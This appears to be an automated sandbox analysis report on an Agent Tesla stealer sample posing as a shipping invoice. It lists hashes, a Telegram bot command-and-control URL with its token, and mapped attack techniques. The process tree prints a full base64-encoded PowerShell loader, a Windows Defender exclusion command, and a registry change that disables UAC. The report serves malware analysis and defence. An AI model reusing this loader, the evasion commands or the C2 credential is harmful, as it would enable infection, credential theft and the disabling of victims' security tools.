agenttesla | b0abe21d655ad2ec0d295ea225a0609350d399ffe916f8880b0e66d7d360e212

General

Target

Shipping Reference_AWB 703280542_INVOICE_PDF.exe
Size

986KB
MD5

4d69a6b1a835e13d9399fc7a3fcd1c7f
SHA1

dabeb84fb579d1b1fd8efffd3f75ec5e5d5c6297
SHA256

b0abe21d655ad2ec0d295ea225a0609350d399ffe916f8880b0e66d7d360e212
SHA512

01900903b402511922c3d3a3eac3b217f49c19e6f245ac250f01614cc3b7f89975f412a96c648c48c8b1641cf5af61707d0261f4656ce48f3a8739436102d59b
SSDEEP

12288:67t9TgXF/OHYMhHQy9J9cv2N3TApMDcMs9cs46uxDscaK7JGfhJef98WXRAEz1T+:67btH9iyd90pMDRRuvQJKQfGwaERT5E

Score

10^/10

agenttesla evasion execution keylogger spyware stealer trojan

Malware Config

Extracted

Family

agenttesla

C2

https://api.telegram.org/bot6471994916:AAHkdjLXxo_sOhOEXeFpgGf4NrHiZGX6HD8/

Signatures

AgentTesla
Agent Tesla is a remote access tool (RAT) written in visual basic.
keylogger trojan stealer spyware agenttesla
UAC bypass 3 TTPs 1 IoCs
evasion trojan

Bypass User Account Control
T1548.002

Disable or Modify Tools
T1562.001

Modify Registry
T1112

Processes:

powershell.exe

description ioc process

Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" powershell.exe

description	ioc	process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	powershell.exe

Windows security bypass 2 TTPs 2 IoCs

evasion trojan

Disable or Modify Tools

T1562.001

Modify Registry

T1112

Processes:

powershell.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	powershell.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\Shipping Reference_AWB 703280542_INVOICE_PDF.exe = "0"	powershell.exe

Looks for VirtualBox Guest Additions in registry 2 TTPs 1 IoCs
evasion

Query Registry
T1012

Virtualization/Sandbox Evasion
T1497

Processes:

powershell.exe

description ioc process

Key opened \REGISTRY\MACHINE\SOFTWARE\Oracle\VirtualBox Guest Additions powershell.exe
Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
execution

PowerShell
T1059.001

Processes:

powershell.exepowershell.exe

pid process

4400 powershell.exe
4320 powershell.exe
Looks for VMWare Tools registry key 2 TTPs 1 IoCs
evasion

Query Registry
T1012

Virtualization/Sandbox Evasion
T1497

Processes:

powershell.exe

description ioc process

Key opened \REGISTRY\MACHINE\SOFTWARE\VMware, Inc.\VMware Tools powershell.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Oracle\VirtualBox Guest Additions	powershell.exe

pid	process
4400	powershell.exe
4320	powershell.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\SOFTWARE\VMware, Inc.\VMware Tools	powershell.exe

Checks BIOS information in registry 2 TTPs 2 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

powershell.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	powershell.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	powershell.exe

Looks up external IP address via web service 2 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow ioc

31 api.ipify.org
32 api.ipify.org

flow	ioc
31	api.ipify.org
32	api.ipify.org

Maps connected drives based on registry 3 TTPs 2 IoCs

Disk information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

Processes:

powershell.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Disk\Enum	powershell.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\disk\Enum\0	powershell.exe

Suspicious use of SetThreadContext 1 IoCs

Processes:

powershell.exe

description pid process target process

PID 4320 set thread context of 3680 4320 powershell.exe installutil.exe

description	pid	process	target process
PID 4320 set thread context of 3680	4320	powershell.exe	installutil.exe

Suspicious behavior: EnumeratesProcesses 14 IoCs

Processes:

powershell.exepowershell.exeinstallutil.exe

pid	process
4320	powershell.exe
4320	powershell.exe
4320	powershell.exe
4320	powershell.exe
4320	powershell.exe
4320	powershell.exe
4320	powershell.exe
4320	powershell.exe
4400	powershell.exe
4400	powershell.exe
4400	powershell.exe
3680	installutil.exe
3680	installutil.exe
3680	installutil.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

Processes:

powershell.exepowershell.exeinstallutil.exe

description pid process

Token: SeDebugPrivilege 4320 powershell.exe
Token: SeDebugPrivilege 4400 powershell.exe
Token: SeDebugPrivilege 3680 installutil.exe
Suspicious use of SetWindowsHookEx 1 IoCs

Processes:

installutil.exe

pid process

3680 installutil.exe

description	pid	process
Token: SeDebugPrivilege	4320	powershell.exe
Token: SeDebugPrivilege	4400	powershell.exe
Token: SeDebugPrivilege	3680	installutil.exe

pid	process
3680	installutil.exe

Suspicious use of WriteProcessMemory 12 IoCs

Processes:

Shipping Reference_AWB 703280542_INVOICE_PDF.exepowershell.exe

description	pid	process	target process
PID 3932 wrote to memory of 4320	3932	Shipping Reference_AWB 703280542_INVOICE_PDF.exe	powershell.exe
PID 3932 wrote to memory of 4320	3932	Shipping Reference_AWB 703280542_INVOICE_PDF.exe	powershell.exe
PID 4320 wrote to memory of 4400	4320	powershell.exe	powershell.exe
PID 4320 wrote to memory of 4400	4320	powershell.exe	powershell.exe
PID 4320 wrote to memory of 3680	4320	powershell.exe	installutil.exe
PID 4320 wrote to memory of 3680	4320	powershell.exe	installutil.exe
PID 4320 wrote to memory of 3680	4320	powershell.exe	installutil.exe
PID 4320 wrote to memory of 3680	4320	powershell.exe	installutil.exe
PID 4320 wrote to memory of 3680	4320	powershell.exe	installutil.exe
PID 4320 wrote to memory of 3680	4320	powershell.exe	installutil.exe
PID 4320 wrote to memory of 3680	4320	powershell.exe	installutil.exe
PID 4320 wrote to memory of 3680	4320	powershell.exe	installutil.exe

C:\Users\Admin\AppData\Local\Temp\Shipping Reference_AWB 703280542_INVOICE_PDF.exe
"C:\Users\Admin\AppData\Local\Temp\Shipping Reference_AWB 703280542_INVOICE_PDF.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:3932
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -EncodedCommand WwBTAHkAcwB0AGUAbQAuAFQAaAByAGUAYQBkAGkAbgBnAC4AVABoAHIAZQBhAGQAXQA6ADoAUwBsAGUAZQBwACgAMQAwADAAMAAwACkACgAKACQARQYkBkIGKgYgAD0AIABbAFMAeQBzAHQAZQBtAC4ASQBPAC4AUABhAHQAaABdADoAOgBHAGUAdABUAGUAbQBwAFAAYQB0AGgAKAApAAoAJABGBkUGSAYwBiwGIAA9ACAAJwBmAGkAbABlAC0AKgAuAHAAdQB0AGkAawAnAAoAJABFBkQGQQZfACMGLgZKBjEGIAA9ACAARwBlAHQALQBDAGgAaQBsAGQASQB0AGUAbQAgAC0AUABhAHQAaAAgACQARQYkBkIGKgYgAC0ARgBpAGwAdABlAHIAIAAkAEYGRQZIBjAGLAYgAHwAIABTAG8AcgB0AC0ATwBiAGoAZQBjAHQAIABMAGEAcwB0AFcAcgBpAHQAZQBUAGkAbQBlACAALQBEAGUAcwBjAGUAbgBkAGkAbgBnACAAfAAgAFMAZQBsAGUAYwB0AC0ATwBiAGoAZQBjAHQAIAAtAEYAaQByAHMAdAAgADEACgAKAGYAdQBuAGMAdABpAG8AbgAgAEEGQwZfACcGRAYqBjQGQQZKBjEGIAB7AAoAIAAgACAAIABwAGEAcgBhAG0AIAAoAAoAIAAgACAAIAAgACAAIAAgAFsAYgB5AHQAZQBbAF0AXQAkAEUGQQYqBicGLQYsAAoAIAAgACAAIAAgACAAIAAgAFsAYgB5AHQAZQBbAF0AXQAkAEUGKgYsBkcGXwAnBkQGKgZHBkoGJgYpBiwACgAgACAAIAAgACAAIAAgACAAWwBiAHkAdABlAFsAXQBdACQAKAZKBicGRgYnBioGCgAgACAAIAAgACkACgAKACAAIAAgACAAJABFBjQGQQYxBiAAPQAgAFsAUwB5AHMAdABlAG0ALgBTAGUAYwB1AHIAaQB0AHkALgBDAHIAeQBwAHQAbwBnAHIAYQBwAGgAeQAuAEEAZQBzAF0AOgA6AEMAcgBlAGEAdABlACgAKQAKACAAIAAgACAAJABFBjQGQQYxBi4ATQBvAGQAZQAgAD0AIABbAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkALgBDAGkAcABoAGUAcgBNAG8AZABlAF0AOgA6AEMAQgBDAAoAIAAgACAAIAAkAEUGNAZBBjEGLgBQAGEAZABkAGkAbgBnACAAPQAgAFsAUwB5AHMAdABlAG0ALgBTAGUAYwB1AHIAaQB0AHkALgBDAHIAeQBwAHQAbwBnAHIAYQBwAGgAeQAuAFAAYQBkAGQAaQBuAGcATQBvAGQAZQBdADoAOgBQAEsAQwBTADcACgAKACAAIAAgACAAJABBBkMGXwAnBkQGKgY0BkEGSgYxBl8ALAZHBicGMgYgAD0AIAAkAEUGNAZBBjEGLgBDAHIAZQBhAHQAZQBEAGUAYwByAHkAcAB0AG8AcgAoACQARQZBBioGJwYtBiwAIAAkAEUGKgYsBkcGXwAnBkQGKgZHBkoGJgYpBikACgAgACAAIAAgACQAKAZKBicGRgYnBioGXwBFBkEGQwZIBkMGKQZfACcGRAYqBjQGQQZKBjEGIAA9ACAAJABBBkMGXwAnBkQGKgY0BkEGSgYxBl8ALAZHBicGMgYuAFQAcgBhAG4AcwBmAG8AcgBtAEYAaQBuAGEAbABCAGwAbwBjAGsAKAAkACgGSgYnBkYGJwYqBiwAIAAwACwAIAAkACgGSgYnBkYGJwYqBi4ATABlAG4AZwB0AGgAKQAKAAkACgAgACAAIAAgAHIAZQB0AHUAcgBuACAAJAAoBkoGJwZGBicGKgZfAEUGQQZDBkgGQwYpBl8AJwZEBioGNAZBBkoGMQYKAH0ACgAKACQARQZBBioGJwYtBiAAPQAgAFsAYgB5AHQAZQBbAF0AXQBAACgAMAB4ADYAOAAsACAAMAB4ADYANwAsACAAMAB4AEIARQAsACAAMAB4ADcAQQAsACAAMAB4ADIAMwAsACAAMAB4ADUAOQAsACAAMAB4ADAAMQAsACAAMAB4ADcAQgAsACAAMAB4ADEAOAAsACAAMAB4AEMANwAsACAAMAB4AEUANwAsACAAMAB4AEYANgAsACAAMAB4AEYAMgAsACAAMAB4ADUARAAsACAAMAB4ADEAMwAsACAAMAB4AEEAMgAsACAAMAB4AEMANwAsACAAMAB4ADQAMAAsACAAMAB4AEEARQAsACAAMAB4AEEANwAsACAAMAB4ADMAMwAsACAAMAB4AEQAQQAsACAAMAB4ADYAOAAsACAAMAB4ADAAOQAsACAAMAB4ADYANAAsACAAMAB4ADYANQAsACAAMAB4AEEAOAAsACAAMAB4ADAAQgAsACAAMAB4ADAAMgAsACAAMAB4ADAARQAsACAAMAB4ADQANAAsACAAMAB4ADYAQwApAAoAJABFBioGLAZHBl8AJwZEBioGRwZKBiYGKQYgAD0AIABbAGIAeQB0AGUAWwBdAF0AQAAoADAAeAA0ADUALAAgADAAeAA1AEUALAAgADAAeAA2ADEALAAgADAAeAA3ADQALAAgADAAeABBADgALAAgADAAeAA4AEMALAAgADAAeAAwADUALAAgADAAeAAzAEMALAAgADAAeAAzADYALAAgADAAeAAzADcALAAgADAAeABCAEMALAAgADAAeAAxADMALAAgADAAeAA4AEYALAAgADAAeABCADMALAAgADAAeAA2AEMALAAgADAAeAA4AEEAKQAKAAoAaQBmACAAKAAkAEUGRAZBBl8AIwYuBkoGMQYgAC0AbgBlACAAJABuAHUAbABsACkAIAB7AAoAIAAgACAAIAAkAEUGMwYnBjEGXwAnBkQGRQZEBkEGIAA9ACAAJABFBkQGQQZfACMGLgZKBjEGLgBGAHUAbABsAE4AYQBtAGUACgAgACAAIAAgACQAKAYnBkoGKgYnBioGXwBFBjQGQQYxBikGIAA9ACAAWwBTAHkAcwB0AGUAbQAuAEkATwAuAEYAaQBsAGUAXQA6ADoAUgBlAGEAZABBAGwAbABCAHkAdABlAHMAKAAkAEUGMwYnBjEGXwAnBkQGRQZEBkEGKQA7AAoAIAAgACAAIAAkAEUGLQYqBkgGSQZfAEUGQQZDBkgGQwZfACcGRAYqBjQGQQZKBjEGIAA9ACAAQQZDBl8AJwZEBioGNAZBBkoGMQYgAC0ARQZBBioGJwYtBiAAJABFBkEGKgYnBi0GIAAtAEUGKgYsBkcGXwAnBkQGKgZHBkoGJgYpBiAAJABFBioGLAZHBl8AJwZEBioGRwZKBiYGKQYgAC0AKAZKBicGRgYnBioGIAAkACgGJwZKBioGJwYqBl8ARQY0BkEGMQYpBgoACgAgACAAIAAgACQAKgYsBkUGSgY5BiAAPQAgAFsAUwB5AHMAdABlAG0ALgBSAGUAZgBsAGUAYwB0AGkAbwBuAC4AQQBzAHMAZQBtAGIAbAB5AF0AOgA6AEwAbwBhAGQAKABbAGIAeQB0AGUAWwBdAF0AQAAoACQARQYtBioGSAZJBl8ARQZBBkMGSAZDBl8AJwZEBioGNAZBBkoGMQYpACkAOwAKACAAIAAgACAAJABGBkIGNwYpBl8AJwZEBi8GLgZIBkQGIAA9ACAAJAAqBiwGRQZKBjkGLgBFAG4AdAByAHkAUABvAGkAbgB0ADsACgAgACAAIAAgACQARgZCBjcGKQZfACcGRAYvBi4GSAZEBi4ASQBuAHYAbwBrAGUAKAAkAG4AdQBsAGwALAAgACQAbgB1AGwAbAApADsACgB9AAoA
  2⤵
  - UAC bypass
  - Windows security bypass
  - Looks for VirtualBox Guest Additions in registry
  - Command and Scripting Interpreter: PowerShell
  - Looks for VMWare Tools registry key
  - Checks BIOS information in registry
  - Maps connected drives based on registry
  - Suspicious use of SetThreadContext
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4320
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\Shipping Reference_AWB 703280542_INVOICE_PDF.exe" -Force
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4400
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\installutil.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\installutil.exe"
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of SetWindowsHookEx
    PID:3680

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Abuse Elevation Control Mechanism

1

T1548

Bypass User Account Control

1

T1548.002

Defense Evasion

Abuse Elevation Control Mechanism

1

T1548

Bypass User Account Control

1

T1548.002

Impair Defenses

2

T1562

Disable or Modify Tools

Modify Registry

Virtualization/Sandbox Evasion

2

T1497

Credential Access

Discovery

Peripheral Device Discovery

Query Registry

System Information Discovery

2

T1082

Virtualization/Sandbox Evasion

2

T1497

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_df0s1r1d.4gs.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\file-15616.putik

Filesize
33KB

MD5
7bcc1c9dcb3f70c39e7c0ba4af126a17

SHA1
8f03d5db806837d8c6d7d1de7288ab053c906bd0

SHA256
3c6163c8469b5df10422d7578e276b44cfb2b18e3c19cb09303dd1a4864435bf

SHA512
537ce66f91aeda2b66495857434900a2040008c466764ad50f07515c137f3a5502c2a079a8d72ae49651f238869ef55005a3229e226c141ba01713e39eac3d3a

Download Submit
memory/3680-25-0x0000000005490000-0x0000000005A34000-memory.dmp

Filesize
5.6MB

Download
memory/3680-39-0x0000000006590000-0x000000000659A000-memory.dmp

Filesize
40KB

Download
memory/3680-38-0x0000000006400000-0x0000000006492000-memory.dmp

Filesize
584KB

Download
memory/3680-32-0x0000000005050000-0x00000000050B6000-memory.dmp

Filesize
408KB

Download
memory/3680-30-0x0000000074F8E000-0x0000000074F8F000-memory.dmp

Filesize
4KB

Download
memory/3680-37-0x0000000006310000-0x0000000006360000-memory.dmp

Filesize
320KB

Download
memory/3680-17-0x0000000000400000-0x0000000000442000-memory.dmp

Filesize
264KB

Download
memory/3680-40-0x0000000074F8E000-0x0000000074F8F000-memory.dmp

Filesize
4KB

Download
memory/4320-1-0x00007FFED88A3000-0x00007FFED88A5000-memory.dmp

Filesize
8KB

Download
memory/4320-12-0x00007FFED88A0000-0x00007FFED9361000-memory.dmp

Filesize
10.8MB

Download
memory/4320-16-0x0000028636810000-0x00000286368A4000-memory.dmp

Filesize
592KB

Download
memory/4320-15-0x00000286367E0000-0x00000286367EC000-memory.dmp

Filesize
48KB

Download
memory/4320-11-0x00000286365B0000-0x00000286365D2000-memory.dmp

Filesize
136KB

Download
memory/4320-13-0x00007FFED88A0000-0x00007FFED9361000-memory.dmp

Filesize
10.8MB

Download
memory/4320-36-0x00007FFED88A0000-0x00007FFED9361000-memory.dmp

Filesize
10.8MB

Download
memory/4400-26-0x00007FFED88A0000-0x00007FFED9361000-memory.dmp

Filesize
10.8MB

Download
memory/4400-35-0x00007FFED88A0000-0x00007FFED9361000-memory.dmp

Filesize
10.8MB

Download
memory/4400-31-0x0000013B3A260000-0x0000013B3A270000-memory.dmp

Filesize
64KB

Download
memory/4400-23-0x00007FFED88A0000-0x00007FFED9361000-memory.dmp

Filesize
10.8MB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads